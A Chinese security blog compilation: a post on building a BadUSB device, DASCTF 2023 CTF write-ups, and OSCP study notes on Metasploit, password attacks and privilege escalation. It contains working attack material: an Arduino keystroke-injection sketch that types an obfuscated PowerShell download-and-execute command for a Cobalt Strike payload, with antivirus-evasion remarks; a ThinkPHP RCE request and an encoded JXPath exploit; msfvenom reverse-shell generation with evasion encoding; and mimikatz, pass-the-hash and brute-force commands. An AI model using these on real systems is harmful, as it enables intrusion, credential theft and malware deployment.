【近源】Badusb的使用

之前在某公众号看到一篇关于Badusb做近源渗透的文章,之前看过很多的这类设计。本质上Badusb就是用一个单片机模拟出一个键盘,通过键盘键入恶意指令,可以绕过防火墙和不少杀毒软件。
由于自己设计太麻烦了,芯片虽然是有现成的,但是还要买装芯片的壳之类的,太麻烦了。反正只是研究的作用,就某宝上买了一个现成的。
我买的芯片是Leonardo USB ATMEGA32U4,金属外壳的比较好看捏,这个主控主要的问题是Flash太小了,刷的东西多一点都装不下(不过好像也就写个shell进去麻,不用写太多东西)
程序在Arduino中编写

这里参考了某公众号上的Payload,用alias别名和^拼接绕过,在代码上还做了一点修改。
步骤变成了

Win+M(最小化)->Win+R(运行)->按下CapsLock锁定大小写->输入CMD->输入PAYLOAD

最小化可以避免把payload输进其他应用,大小写锁定主要为了避免中文输入法干扰

void setup() {
  Keyboard.begin();
  delay(4500);
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.press('m');
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('m');
  delay(200); 
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.press('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500); 
  Keyboard.println(F("cmd"));
  delay(1000); 
  Keyboard.println(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://192.16'+'8.239'+'.249'+'/1') | p^o^w^e^r^s^h^e^l^l -"));
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}
void loop()
{
}

关于url为什么是http://192.168.239.249/1,要/1用数字不是其他字母呢。
由于CapsLock按键可能原本就是按下的状态,你再按下一次就关掉了,但是如果没有输入法的影响还是可以正常输入的,而url的目录是大小写敏感的,我们则使用数字来确保目录是可以访问到的。
这里的powershell的payload是从服务器上下载的CS负载,下载后在内存中运行也可以免杀的效果。
但是这样还不够,这样可以绕过火绒和360,但是连Windows Defender都过不了,不懂。
Cobalt Strick的PowerShell免杀
运行效果如图


由于Windows Defender好像还会监控流量(不过尽早迁移就可以了),并且这么大一个黑框和命令能让人不害怕吗,很快就会被人关掉,所以我用了插件使得他会自动迁移,更具体的会写在Cobalt Strick的PowerShell免杀
至此Badusb完成了他近源渗透中光荣的一声被当成坏掉的u盘丢进垃圾桶了。
badusb使用倒不困难,困难的还是如何做好PowerShell的免杀。

DASCTF Apr.2023 X SU战队2023开局之战

Web

pdf_converte

这题一开始有非预期解,只要进入下发附件目录,查看changelogs即可发现该版本为“最新的”Thinkphp5.0.23

┌──(root㉿hz2016-rogx)-[~]
└─# searchsploit thinkphp 5.0.23
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution                                        | php/webapps/45978.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

搜索得到相应EXP,修改一下相应指令即可获取flag

http://<URL>/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=php%20-r%20%27system(%22cat%20/flag%22);%27

pdf_converter_revenge

然而,很快就修复了这个非预期解,并以一道新题目上新

“`dompdf/src/FontMetrics.php“`文件名可控
通过“`exploit_norml_md5(data:text/plain;base64,exp).ttf“`打exp
后面会校验font.ttf文件头。需要将一个ttf文件拼接一下

你听说过 js 的 webshell 吗

首先,我先喷一句(已经没有记忆/没有痕迹了,可能喷错,喷错评论叫我改推文),你公告自己写着不用使用扫描器,然而WP里面直接给我来了句使用dirsearch扫描
然后,搁着不引入字典就不算扫描了是吧。

TODO:字典
在泄露的app.js中可以看到route/api的就几个js文件
尝试获取源代码

https://127.0.0.1/middlewares/api.js
https://127.0.0.1/middlewares/api
https://127.0.0.1/middlewares/api/index.js

发现了API注册逻辑
读取API源码

https://127.0.0.1/api/v2/coding/versionList.js
#同时也获取到后端代理源码
http://127.0.0.1/request/coding.js

获取到openapi的token,参考文档文档 https://coding.net/help/openapi
将仓库clone下来,通过v3的APIhttps://127.0.0.1/v3/UpdateAllProduct注入webshell
后面就是垃圾东西了,没有必要看,吐槽一下现在的CTF,题目是难了,但是不是那种有意思的难,存粹一步一步套娃,复现都恶心了。

ezjxpath

jxpath有cve-2022-41852
不会也没看到wp,先把wp放着了

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 6096' -H $'cmd: cat /flag' \
    --data-binary $'query=runMain%28com.sun.org.apache.bcel.internal.util.JavaWrapper.new%28%29%2C%22%24%24BCEL%24%24%24l%248b%24I%24A%24A%24A%24A%24A%24A%24A%248dV%24c9w%24d3F%24Y%24ffMb%245b%24b2%24y%24g%24e2%24E%2482%24d8w%249c%2440%24ecR%24ba%2440%24C%2494%2490%24Q%24a08%2481b%24m%2485P%2440Q%2486D%24c4%2496%248c%24q%24t%24a1%24fbBw%24ba%24aft%24a1%24x%24a5%24eb%24a1%24X%24c3%2483G%24l%24e7%24k%24fb%245e%24P%24fd%24T%24faz%24e8%24b5%2487%243e%24dao%24q%249b%24d8%24c4%24b4%24f5a4%24f3%24ad%24bf%24f9%24b6%24f1O%24d7%24_%24ff%24I%24e0N%247c%24af%24m%248a%24fd%24K%24O%2460%2440%24y%24P%24c88%24a8%24e0%24Q%24Ge%24i%2496%24f0%24a0%24C%24JG%24q%24iUp%24M%24ba%248c%24n%24Z%2486%248ca%24Z%245cF%24b7%24e0%24j%24971%24o%24a3G%24c2%24a8%24900e%24f4%24ca8%24a1%2460%24MY%24FM%24c8%24c9%24b0%24c4%24d7%2496%2491%2497qRl%24j%24Z%24ae%24MOFA%24c6%24b8p%243d%24ncR%24c2%24v%24F%24P%24e1a%24b1%243c%24a2%24e0Q%243c%24a6%24609%24k%2497%24f1%2484%24f8%243e%24v%2496%24a7d%243c%24z%24e3%24b4%2484g%24Y%24o%24hM%24cb%24f463%24d4%24tZ%24P0%2484%24ba%24eda%24ce%24d0%24906%24z%24de_%24c8%24Nqg%249f%243e%2494%24rJ%243cm%24hz%24f6%2480%24ee%2498%24e2%245c%24o%2486%24bcQ%24d3ehL%24Pq%24p%249b%24ca%24e4%24j%24d3%24g%24d96nf%243b%24Z%24c2Gs%24bai1%24ccN%24M%24a6O%24e8%24e3z%24w%24ab%245b%24p%24a9%248c%24tD%243a%247dO%24ba32%24ce%24d0T%2483%24cd%24c0%24Mau%248a%24d1%249d%24d5%245dW%24d0s%24Ms%24x%24e8%24O%243f%249e%24e5%2486%2497%24ea%24e3%24de%24a8%243d%24y%24El%24BuJ%2460%24f7%24d0%24J%24e2%24T%24a3%24%24%24b7%2496%247c%243a%24dc%24cd%24d3U%24j%247e%2492%24n%243a%24c2%24bd%24B%24c7%24f4%24b8%24T%24ecwp%247dX%24ec%24p%24T%24rb%24bd%2491%24h%24ae%24b6v%24D%249fl%24d8%24b9%249cn%24N%24d3%24e5c%24c6%24a8%24ee%24b8%24dc%24eb%24d7s%24U%2491%24Z%24ZO7%24c6%24fa%24f4%24bc%24l%24n%24J%24h%24u%24ef%24S%249e%24a5%24acSZ%24Z%2494m%2493%24G%24cf%247b%24a6m%24b9%24S%249ec%2498%24Z%24A%24df%24a3%243b%24a4MN%24c9%249e%2492%24b1%24L%248e%24c1%247bM%24R%24e0%2486%24a9%2498%24s%24F%24M%24V%24v%24dc%24%24%24e1y%24V%24_%24e0E%24V%24_%24e1%24M%24c3F%24db%24ZI%24ba%24be%24dcqaf%24c2v%24c6%2492%24T%247c%24ui%24d8%2496%24c7%24t%24bd%24q%24dd%24b6%24c0%245d%24_%24b97%24f8v%24H%24e4%24jv%2496%24ae%24x%24e1e%24V%24af%24e0U%2486f%24KAI%24a2%24cb%24a3%247b%24O%24V%243cNp%24gnJ%2482%248a%24d7%24f0%243a%24B%24bf9%24c4tI%24Vo%24e0M%2486%24z%24ff%24XO%2486%243b%24e3%24d9%249aNc%243e%24W7Oa%24a2%24m%24uS%24c8%24Y%24W%24I%24c7%2493I7%24d0%249d%24b2%24R%24I%24abxK%24a0%245bQ%24z4%24eay%24f9%24e4%24OZ%24aa%243dV%24dd%24oH%24ad%248a%24b7%24f1%24O%2483d%24bbI%248b%24a0KxW%24c5%247b8%24ab%24e2%247d%247c%24m%24w%24c3%24b4%2486%24ed%24J%24V%24l%24e2%24p%24w%248f%24ed%245bwQ%249d%24ef%24df%24d7%24db%24be%245e%24c59%24nP%243f%24b0%24b3%249fJ%24zE%24d5%24x%24a5%2486L%24x%24e5R%24ce%24eb%24da%24N%24V%24l%24e3%24T%24a2%2489%24a0xY%24ea%248aF%24dfq%24c13%24a9k%24M%24dd%24b2D%24o%243eU%24f1%24Z%243eW%24f1%24F%24ceK%24f8R%24c5%24F%247c%24r%24d2%24fd5Y8%24dc%24a5%24e2%24h%247c%24ab%24e2%243b%24e1%24r%247c%243c%245b%24Q%2486%24c3F%24d6%24W%24f1i%24b8%24a9%24fb%24Y%24e6%24dc%24aaC%24a8%24df%24a6X7j%24b1%24w%24Q%24fbF%24jj%24E%24aad%24a3%24e08%24dc%24f2%24ca%24e7%24e6Dk%24faf%24v%24ea%2484Y%2494%249cRE%24f9%24f5%2491%24b6%2483%24%24%24d2%24aa%24c4%24xXB%24a7%24s%2483%24ba0K%24h%249fB%24vL%24d4%24Y%24h5%24s%2482%24e8%24dc%24f2%24dd%24b6%24d4%24d0%24Z%249c%24a6%24d3%24fao%24f3%24pbZ%24e3%24f6%24Y%24FuCb%24fa%24U%24Z%249cNj%24ad5k%24g%24JS%24P%24e5Dw%24f8p%24Z%24db%24M%24g%24R%245d%2486%24c1%245d%24d7%24MFg%24e2%2490%2498%2482%2495%24Vx%24ca%24f5x%24%24%24u%24fe%243d%248e%249d%24e7%248ew%248aa%24e5%247f%24c4%24e1%24c6H%248ayv%24da%249e%24e0N%24b7%24%24j%24a2%243a%245b%2495s%24cb%24f2h%24%24S%2480%24e7U%24g%24ee%24a6%24Z%2496%24R%245da%24Z%24bc%24b3%24f5%2490om%247f%243e_%24b6%24s%248b%24q%24Hyi%249a%249e%24d7%24cer%243d%24fb%24a4%24bd%24F%24cb3s%24e5%24b6%24z%24lfU%24a9%2495%24c8%24a4%24Y%24e2%2493%249c%24ba%24rQ%24f3%2495%24a8%24mQ%2440D%24ec%24aa%245d%2495%2488%24M%24b7%2491%24ab%249dV%24be%24e0%2491%24s%24d7%24v%2486%24zew%24a6%249d%24aa%2460%2490z%245b%24a2%24s%24a3%24f6%24h%24a5%24W%245c%24de%24c3%24b3f%24%24x%24QV%24dd%243a%24X%2495%24ad%24y%24aeeQ%243f%2460%24J%2492%24f4%24u%248b_%24j%2498%2498%24dc%24b4%24ae%24a5S%248a%24be%248c%24be%24e1%24b6%248b%2460%243f%24f8%24ec%243bh%248d%24f8D%24V%24eb%24fc%24d5%24X%24a0%24ff%24Uw%24d17%248a%24bbq%24P%24ea%2485r%24dd%24V%243a%24cd%24A%24d8%24c4%24r%24d4%24VQ%24l%24P%24V%24RN%24af%248eG%24ea%24afB%24wB%24ee%245b%24c3h%24X%24zB%24e9%24_%24J%24c4%24C%24B%24b5%24y%24b0%243a%243e%24a3%24b4%24ed%24I%24adi%24_%24Jw%2484%24b5%24d0%248d%247d%24a4%24a4y%24hi%24c6%24h%24C%24e1%2499%24jR%2489%24da%24u%24a8%24f1%24QQ%24P%24d6%24c7%249b2%2482%24rk2%24c1h%24d6%24a4%2460%24d5%24c2eKQM%24d6%24o%24q%24g%24r%24d1Y%24q%24aa%245cCS%2487%24S%24b9Jk%24y%243e%24fb%24SZ%248a%2498%24T%24d7%248a%2498%247b%24Wr%247c%24de%24F2%243c%24bfC%24z1%24W%24c4%24X%24fa%248c%24b8%24W%24T%24caZ%24y%24U_%2494%24b9%2480%24Gq%245c%24ec%24l%2497%24d0%24g%24d6%2494%248cF%24be%2496%24c6%2497UB%24d2%24a2%2481%24d7%24xX%247e%24f0%24SVh%24U%2484%2495E%24ac%24d2%24d4%248bH%24c4%245b%248bh%24xb%24b5%24c03%24Q%24e8%24ae%24v%245dR%248b%2496%2490%2497%24e8%24ed%24d3%24e8%24o%245d%24f5%247e%24baN%2460%24%24%24adqJU%24TZ%24d0L%24d9%249e%2485v%24cc%24c6z%243a%24f5%2460%24OvC%24c3%24m%24c9%249c%24c4%243c%249c%24c1%247cz%24i%24X%24d0%245b%24b2%24Q%24e7%24b1%24I%2497I%24fa%24g%2496%24e2W%24y%24c3o%24f4%248f%24ec%24P%24ac%24c0%249fX%2485%24ebH%24b0%24Q%24da%2498%2482%24d5%24ac%24Xk%24d8%24R%24b4%24b3q%24aa%24oQ%24S%24a7%2483%24b4%2493%24fd%24N%24a2%2440%24d8%24Y%243a%24d0Ie%24d2%24c2%248ea%24p6Q%24R%24za%24H%24b0%24Z%24f7%24S%24be%24k%24b6%24O%245b%2488%24W%24c2n%2496%2440%24X%24d1%24c2%24Yd%24f3%24b1%2495v%24R%249cd%24Rt%24TW%24o%245c%24bf%24T%24d6M%2490%24J%24d5%24cf%24d8F%24dc%24ua%24bb%248a%245el%2487B%24I%24_b%24Hy%248b%24R%24ces%24d8I4%24V%24f7%2491%24ef%24f5%24I%24fd%248d_%24a0J%24d8%24r%24n%24z%24a1OB%247fy%24N6%24c1%247e7%24J%24A%245d%24b4%24f9%24L%248bi%248da%24Pi%2487%24I%24f3%24fd%24d8%24x%24ca%249b%2491%24v%24ba%24T2%247e%24P%24ec%24fb%24H%245e%24c7%248a%249fH%24L%24A%24A%22%2C%27%27%29' \
    $'http://127.0.0.1:8080/hack'

Blockchain

到国链之光一游

这题其实很新手,不过我对区块链一无所知,所以折腾了很久
首先题目给了一个部署在测试网的合同https://evmtestnet.confluxscan.io/address/0xEFEc01486FB7C8919be70f2c5333FD77326F65E2
我原本使用的是MetaMask但是好像没有Conflux eSpace (Testnet)测试网络的预设,要自己设置RPC等,所以后面改用了Fluent
查看合同,具体代码有所删减,只保留一部分

contract SignIn {
    address public owner;
    bytes32 private key;
    modifier onlyOwner() {
        require(tx.origin == owner);
        _;
    }
    constructor() {
        owner = tx.origin;
        key = keccak256(abi.encodePacked(block.timestamp));
    }
    function getFlag(bytes32 _key) external onlyOwner {//我需要是这个合同的owner
        require(_key == key);//并且需要计算得出这个合同的key
        greeter.getFlag();
    }
}
contract Greeter {
    event CaptureTheFlag(address indexed player);//触发这个
    mapping(address => bool) SignIn_Deployed;
    modifier onlySignIn() {//权限校验
        require(SignIn_Deployed[msg.sender]);
        _;
    }
    function startChallenge() external returns (address) {
        address _SignInAddress = address(new SignIn());//这里的new即创建了一个新的合约
        SignIn_Deployed[_SignInAddress] = true;//并且把新合约的地址设置为可以访问getFlag
        emit StartChallenge(_SignInAddress);
        return _SignInAddress;
    }
    function getFlag() external onlySignIn {//这里的onlySignIn即权限校验
        SignIn_Deployed[msg.sender] = false;
        emit CaptureTheFlag(tx.origin);//调用这个函数触发
    }
}

原本没有理解区块链的意义,导致绕了好久,还得是qsdz
TODO:qsdztql
首先我们要明白我们的目标,即触发
“`CaptureTheFlag“`事件,只能通过“`SignIn“`合约来完成,因为设置了函数调用权限。首先调用“`Greeter“`合约的“`startChallenge()“`函数创建出自己的“`SignIn“`合约,通过区块链浏览器查看“`SignIn“`合约的地址,计算变量“`key“`的值,最后调用“`SignIn“`合约的“`getFlag“`函数触发事件
上面的操作均可以使用区块链浏览器进行操作,计算key的方法不知道
我借助[Remix https://remix.ethereum.org](https://remix.ethereum.org)并新建一个合同

pragma solidity 0.8.19;
contract KeyMaker {
    function getKey(int timestamp) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(timestamp));
    }
}

编译并且部署合同

将为自己生成的合同的timestamp转换成int填进去,即可得到最后需要的key,要注意一下时区不要搞错了

最后写getFlag合同即可。
但是其实这个方法也有点问题,因为区块链是所有信息都是公开的,我们根本不需要自己计算这个hash值(只是confluxscan这个区块链浏览器不显示罢了)
有大哥写了一个相关的操作库Poseidon,可以操作区块链,解决一些密码学/工作量证明问题。

# 脚本来自官方WP
from Poseidon.Blockchain import * # https://github.com/B1ue1nWh1te/Poseidon
# 连接至链
chain = Chain("https://evmtestnet.confluxrpc.com")
# 导入账户
account = Account(chain, "<PrivateKey>")
# 切换 solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.8.19")
# 编译 Greeter 合约
abi, bytecode = BlockchainUtils.Compile("Greeter.sol", "Greeter")
# 合约实例化
contract = Contract(account, "<GreeterAddress>", abi)
# 调用 startChallenge 函数
contract.CallFunction("startChallenge")
# 以下部分的<SignInAddress>需要先通过区块链浏览器获取到合约地址并填入,这里只是为了方便展示而放在一起
# 编译 SignIn 合约
abi, bytecode = BlockchainUtils.Compile("Greeter.sol", "SignIn")
# 合约实例化
contract = Contract(account, "<SignInAddress>", abi)
# 读取存储插槽 slot 6 的值(key的值)
key = chain.GetStorage("<SignInAddress>", 6)
#print(Chain.DumpStorage("<SignInAddress>", Count)
# 调用 getFlag 函数,触发 CaptureTheFlag 事件
contract.CallFunction("getFlag", key)

同时这题的ProofOfWork又有新东西没见过,这个脚本都写了好一段时间,结果这个库也有(纯逆天……不好评价)

from Poseidon.PoW import PoWUtils
Connection = PoWUtils.ProofOfWork_SHA256_EndWithZero("<ServerIP>", 20000, "sha256(", " + ???)", 3, 10, "??? = ")
Connection.interactive()

顺便附上一段自己写了半天的代码

import os
import pwn
import time
import sqlite3
import string
import hashlib
import itertools
class Violent:
    def getid(self, target1,target2):
        d = string.ascii_letters + string.digits
        for i in itertools.product(d,repeat=3):
            target = target1+"".join(i)
            hash_hex = hashlib.sha256(target.encode()).digest()
            hash_bin_str = ''.join(format(byte, '08b') for byte in hash_hex)
            if hash_bin_str.endswith(target2):
                return target
vio = Violent()
print(vio.getid("<HASHCODE>","<ENDWITH>"))

Misc

Ge9ian’s Girl

清除格式发现隐藏的大小不一的字符,即替换为类似的字母(Unicode同形文字)。
为Twitter Secret Messages
解密网站
1. https://holloway.nz/steg/
解密即得压缩包密钥

result = b''
for i in range(1, 521):
    filename = f'two/{i}.txt'
    with open(filename, 'rb') as f:
        data = f.read()
    result += data
with open('result.jpg', 'wb') as f:
    f.write(bytes.fromhex('FFD8FF') + result)

将文件拼接并补上jpg头
“`FF D8 FF“`,发现备注得到密码“`Ge9ian“`和“我们的密码”oursecret,解密即可
我也是看WP才知道是Oursecret加密,借用[d3f4u1t’s blog](https://superfengi.github.io/2023/04/22/das-su/)的图片
[![](https://blog.hz2016.com/wp-content/uploads/2023/04/wp_editor_md_9a94d956c7671af14e7aba9ddd574a2b.jpg)](https://blog.hz2016.com/wp-content/uploads/2023/04/wp_editor_md_9a94d956c7671af14e7aba9ddd574a2b.jpg)
Oursecret加密存在“`ž—º*“`可以进行判断

secret of bkfish

foremost可以分理出两张照片,第二张照片有lsb,提取字节与255(双精度取反)异或

msg = 'bbbeacbcabb98488bacebc9092baa08bcfa0bbbe8c9cc899a087a0ac8aa0a09e8f8d96ce82'
msg = bytes.fromhex(msg)
s = []
for i in msg:
    s.append(i ^ 255)
bytes(s)

然而官方wp有一个SSuite Picsel,可以用两张图片隐写在一起

7里香

在线编解码:https://yuanfux.github.io/zero-width-web/
得到密文

This is not only a hint, but also a keyfile.

压缩包密码不懂,2分10秒找不出东西
结合倒放,反过来看veracrypt,猜测使用veracrypt加密
直接爆破出两个密码,压缩包为套娃,编写脚本交替解压
脚本为官方WP

#!/bin/bash
#初始密码
password="J4y"
#压缩文件名
file="210.zip"
#循环210次,每次解密和解压缩
for i in {210..1}
do
  #解密文件
  unzip -qq -P "$password" "$file"
  #更新文件名和密码
  file="Si.zip"
  if(($i%2=1))
  then
    password="Jay"
  else
    password="J4y"
  fi
done
#解压最后一层压缩包
unzip -qq -P "$password" "$file"
#输出解压后的文件名
echo "解压后的文件名:$(basename "$file".Zip)"

密码为歌曲名拼音,在线转http://www.aies.cn/pinyin.htm
用VeraCrypt(PassWare)对mp3进行解密,最终尝试得到密码为geqian
40.bmp中发现头FFFF4944FFFF3304,为MP3格式,每两个字节插⼊MP3⽂件的两个字节,提取出来

with open('40.bmp', 'rb') as f:
    data = f.read()
with open('123.mp3', 'wb') as f:
    f.write(b''.join([data[i:i+2] for i in range(0, len(data), 4)]))

二进制发现base64,解码即可
PS:后来看到别的师傅的WP好像有一个这样的软件好用

OSCP学习笔记(14)——Metasploit

Metasploit framework简称msf是一个全流程的渗透测试框架
一般来说有如下的几类模块
1. Payload模块:Payload模块是一种主要用于攻击的模块,它们包含可以在目标系统上执行的恶意代码。Payload模块可以用来获取远程访问权限、执行命令、窃取数据等。
2. Exploit模块:Exploit模块是一种用于利用漏洞的模块,它们可以通过利用目标系统上的漏洞来执行攻击。Exploit模块通常需要与Payload模块一起使用,以便在目标系统上执行恶意代码。
3. Auxiliary模块:Auxiliary模块是一种用于执行辅助任务的模块,它们可以用于扫描目标系统、收集信息、执行漏洞验证等。Auxiliary模块通常不需要与Payload或Exploit模块一起使用,因为它们不涉及攻击目标系统。
4. Post模块:Post模块是一种用于在目标系统上执行后期攻击的模块,它们可以用于在成功攻击目标系统后执行各种任务,例如窃取密码、收集数据、横向移动等。
5. Encoder模块:Encoder模块是一种用于混淆Payload模块的模块,以便绕过安全防御系统。Encoder模块通常与Payload模块一起使用。
6. NOP模块:NOP模块是一种用于在Payload模块中插入NOP(No Operation)指令的模块,以便在缓冲区溢出攻击中对目标系统进行填充。

msfdb run
#msfdb init初始化
msfconsole -q
#进入控制台
show -h
#查看所有模块分类
search <NAME>
#搜索漏洞
uss <NAME>
#使用某个模块
show options
#查看当前模块参数
show targets
#查看目标主机
info
#查看模块信息
set <KEY> <VALUE>
#设置参数set、unset、setg、unsetg
check
#验证漏洞
show missing
#查看当前模块缺失的参数
run/exploit [-j后台]
#执行当前模块
back
#返回上一层
db_nmap
#调用msf中的namp进行扫描
services [-p {PORT}筛选端口] [-S {NAME}筛选服务]
#查看db_namp等扫描控制器获取到信息
creds
#查看已获得的身份信息
sessions [-l列表] [-i {NUM}返回]
#查看目前会话/切换会话
route add 192.168.1.0/24 [SESSION_ID]
route print
#添加路由(msf里面)
use auxiliary/scanner/portscan/tcp
#扫描内网
use multi/manage/autoroute
#会话穿透内网
use auxiliary/server/socks_proxy
#打开socks代理
msfconsole -r setup.rc
#自动化配置

Payload还可以配合一些参数进行自动化攻击

set AutoRunScript windows/gather/enum_logged_on_users
#设置PayLoad自动执行获取用户

对于meterpreter的shell还有很多特殊用法

help
#meterpreter的shell可以使用help查看更多信息
background
#退出当前shell
sysinfo
#系统信息
getuid
#查看账户权限
getpid
#目前后门的进程id
ps
#获取进程列表
migrate [PID]
#迁移到别的进程
upload [SOURCE] [TARGET]
download [SOURCE] [TARGET]
#上传下载文件,Windows要双斜线
shell
#进入shell
execute
#执行程序
transport list
#查看当前会话的可以协议
transport add -t reverse_tcp [-l {HOST}] [-p {PORT}]
#会话中添加新的传输协议,并指定传输类型(需要在use multi/handler设置新的监听器)
transport next
#切换到新的协议
screenshot
#截图
keyscan start
keyscan stop
#键盘记录
load powershell
#加载powershell
search bypassuac
#可以通过exploit绕过UAC
load kiwi
#加载kiwi模块,与密码相关,help可以查看新模块
getsystem
#以SYSTEM身份运行
creds_all
#下载所有用户hash

msfvenom生成包含payload的可执行程序

msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -e x86/shikata_ga_nai -o shell_reverse.exe
#生成一个Windows反弹Shell的可执行文件,并使用Encoder模块x86/shikata_ga_nai来绕过基于特征码的AV检测
msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -e x86/shikata_ga_nai -i 4 -x Trust.exe -o shell_reverse.exe
#将生成的Payload注入到一个可信PE文件中,例如,并生成一个新文件:

OSCP学习笔记(11)——密码攻击

常见的信息收集手段
1. 字典攻击
2. 提取密码HASH(明文、PtH碰撞)
3. 信息收集

字典攻击

KaliLinux中包含着密码字典

/usr/share/wordlists
/usr/share/seclist

专属字典生成

cewl <URL/FILE> [-m {NUM}最小长度] [-w {OUTPUT}输出文件]
#从指定URL/FILE生成字典
john [--wordlist={DIRCTY}待变形字典] --rules [--stdout {OUTPUT}输出文件]
#字典变形

暴力破解

crunch 8 8 -t ,@@^^@@@
#掩码生成8位密码,分别是1大写2小写2符号3数字

Medusa

medusa -d
#支持的模块
medusa -M http -q
#模块的参数和使用方法
medusa -h <HOST> -u <USER> -P rockyou.txt -M http -m DIR:/admin
#HTTP协议爆破示例

Crowbar

SSH公钥认证和RDP密码破解

apt install crowbar
#APT安装
crowbar -b rdp -s 192.168.1.0/24 -u <USERNAME> -C rockyou.txt -n 1
#以RDP协议,以admin位用户名,单线程破解192.168.1.0网段的密码

Hydra

和Medusa类似

hydra -l <USERNAME> -p rockyou.txt ssh://<HOST>
#爆破SSH密码
hydra <HOST> http-form-post '/from/index.php:user=<USERNAME>&pass=^PASS^:INVALID LOGIN" -l <USERNAME> -P rockyou.txt -vV -f
#INVALID LOGIN为判断条件字符串,判断是否成功

哈希攻击

将任意长度的内容通过哈希变成长度固定的指纹,理论上无逆向可能,但可以通过明文,PtH碰撞等方式进行哈希攻击

Linux

Openwall-HASH类型检测
也可以通过Hashid识别

hashid <HASH>

一般来说有如下构成如下
1.
“`$6“`使用SHA-512
其中1为MD5,5为SHA-256
可以指定数字生成对应的密钥

openssl passwd -NUM <PASS>
  1. “`$Rw99zZ2B“`加盐

Windows

Windows的密码存储在SAM文件中
由于Windows内核独占锁定SAM数据库,在运行过程中无法拷贝SAM文件
但是可以通过mimikatz进行dump hash,提取本地安全机构子系统(LSASS,SYSTEM用户运行的权限进程)进程内存中缓存的密码哈希(需要管理员权限)

minikatz.exe
#进入minikatz
privikege::debug
#进入debug模式,可以修改其他进程
sekurlsa::logonpasswords
#读取内存中hash
token::elevate
#从高完整性提升到SYSTEM完成性
lsadump::sam
#dump sam数据库

通过PtH(Pass the HASH)攻击NTLM哈希值
中间人抓取并重放HASH

pth-winexe -U <username>%<LM>:<NTLM> //<HOST> cmd
#老版本windows
crackmapexec smb -u <USER> -h <HASH> -d . -x "CMD" <HOST>
impacket-wmiexec <USER>@<HOST> -hashes 00000000000000000000000000000000:<HASH>

暴力破解

Windows

由于Windows的哈希是不加盐的,所以可以通过爆破找出原文

vi hash.txt
#可同时爆破多个hash
john hash.txt --format=NT
john --wordlist=rockyou.txt hash.txt --format=NT
john --rules --wordlist=rockyou.txt hash.txt --format=NT

Linux

unshadow /etc/passwd /etc/shadow > unshadowed.txt
#生成破解文件
john --rules --wordlist=rockyou.txt unshadowed.txt
#John多节点分布式密码破解(CPU)
--fork 8 --node=1-8/16
--fork 8 --node=9-16/16
#以八进程运行,将字典分割为16个部分,分别用两个节点计算1-8/9-16的两部分
hashcat64.exe -b #测速
#HASHCAT支持调用显卡(CPU+GPU)
hashcat -m 1000 -a 0 hash.txt rockyou.txt
#爆破NT(1000),以字典方式(0)

OSCP学习笔记(10)——本地提权

本地提权是指攻击者利用漏洞或其他手段获取本地系统的管理员权限或其他高权限,从而能够执行更多的操作,例如访问、修改、删除系统文件、安装恶意软件、窃取敏感信息等。
常见的提权思路有:
1. 服务配置错误
2. 文件或服务权限漏洞
3. 内核漏洞
4. 高权限运行的服务漏洞
5. 敏感信息泄漏
6. 总是在执行二进制文件之前提升特权的系统设置
7. 脚本中包含硬编码的凭证,以及许多其他内容

手动枚举

枚举用户账号

whoami
#通用
id
who
w
#Linux

查看用户组

net user <USERNAME>
#Windows
id
who
#Linux

查看其他账号

net user
#Windows
cat /etc/passwd
#Linux

查看主机名

hostname
#通用

系统版本和架构

systeminfo
#Windows
cat /etc/*-release
cat /etc/issue
uname -a
#Linux

枚举进程、服务

tasklist /SVC
#Windows
ps axu
#Linux

网络配置

ipconfig /all
ipconfig /displaydns #DNS缓存
route print
netstat -nao
#Windows
ip -a
/sbin/route
ss -anp
netstat -nr
#Linux

枚举防火墙规则

netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
#Windows
iptables -L
ufw
#Linux

调度任务

schtasks /query /fo LIST /v
#Windows
Is -lah /etc/cron*
cat /etc/crontab
cat /var/log/cron
#Linux

枚举安装软件及补丁

wmic product get name,version,vendor #通过Windows Installer安装的
wmic qfe get Caption,Description,HotFixID,InstalledOn #系统范围的更新
#Windows
apt #Ubuntu、Debian
rom #red hat
dpkg -l #Debian
#Linux

枚举可读写文件目录

accesschk.exe -uws "Everyone" "<DIR>" #Sysinternals工具包
Get-ChildItem "<DIR>" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"} #Powershell,过滤字段可能需要改变
#Windows
find /-writable -type d 2>/dev/null
#Linux

挂载点

mountvol
#Windows
cat /etc/fstab
mount
#Linux

设备驱动和内核模块

driverquery.exe /v /fo csv
#Windows
lsmod
/sbin/modinfo <MODNAME>
#Linux

自动提升权限的二进制文件

reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer #存在1即任何用户都可以使用特权账户运行Windows安装包
#Windows
find / -perm -u=s -type f 2>/dev/null
#Linux

自动枚举

自动化检查脚本
PEASS-ng

TODO:实测一下

Windows权限系统

Windows从Vista开始进程运行在四个完整性级别上
1. 系统完整性进程:SYSTEM权限
2. 高完整性进程:Administrator权限
3. 中完整性进程:普通用户权限
4. 低完整性进程:权限严格受限,常用于沙箱进程

whoami /groups
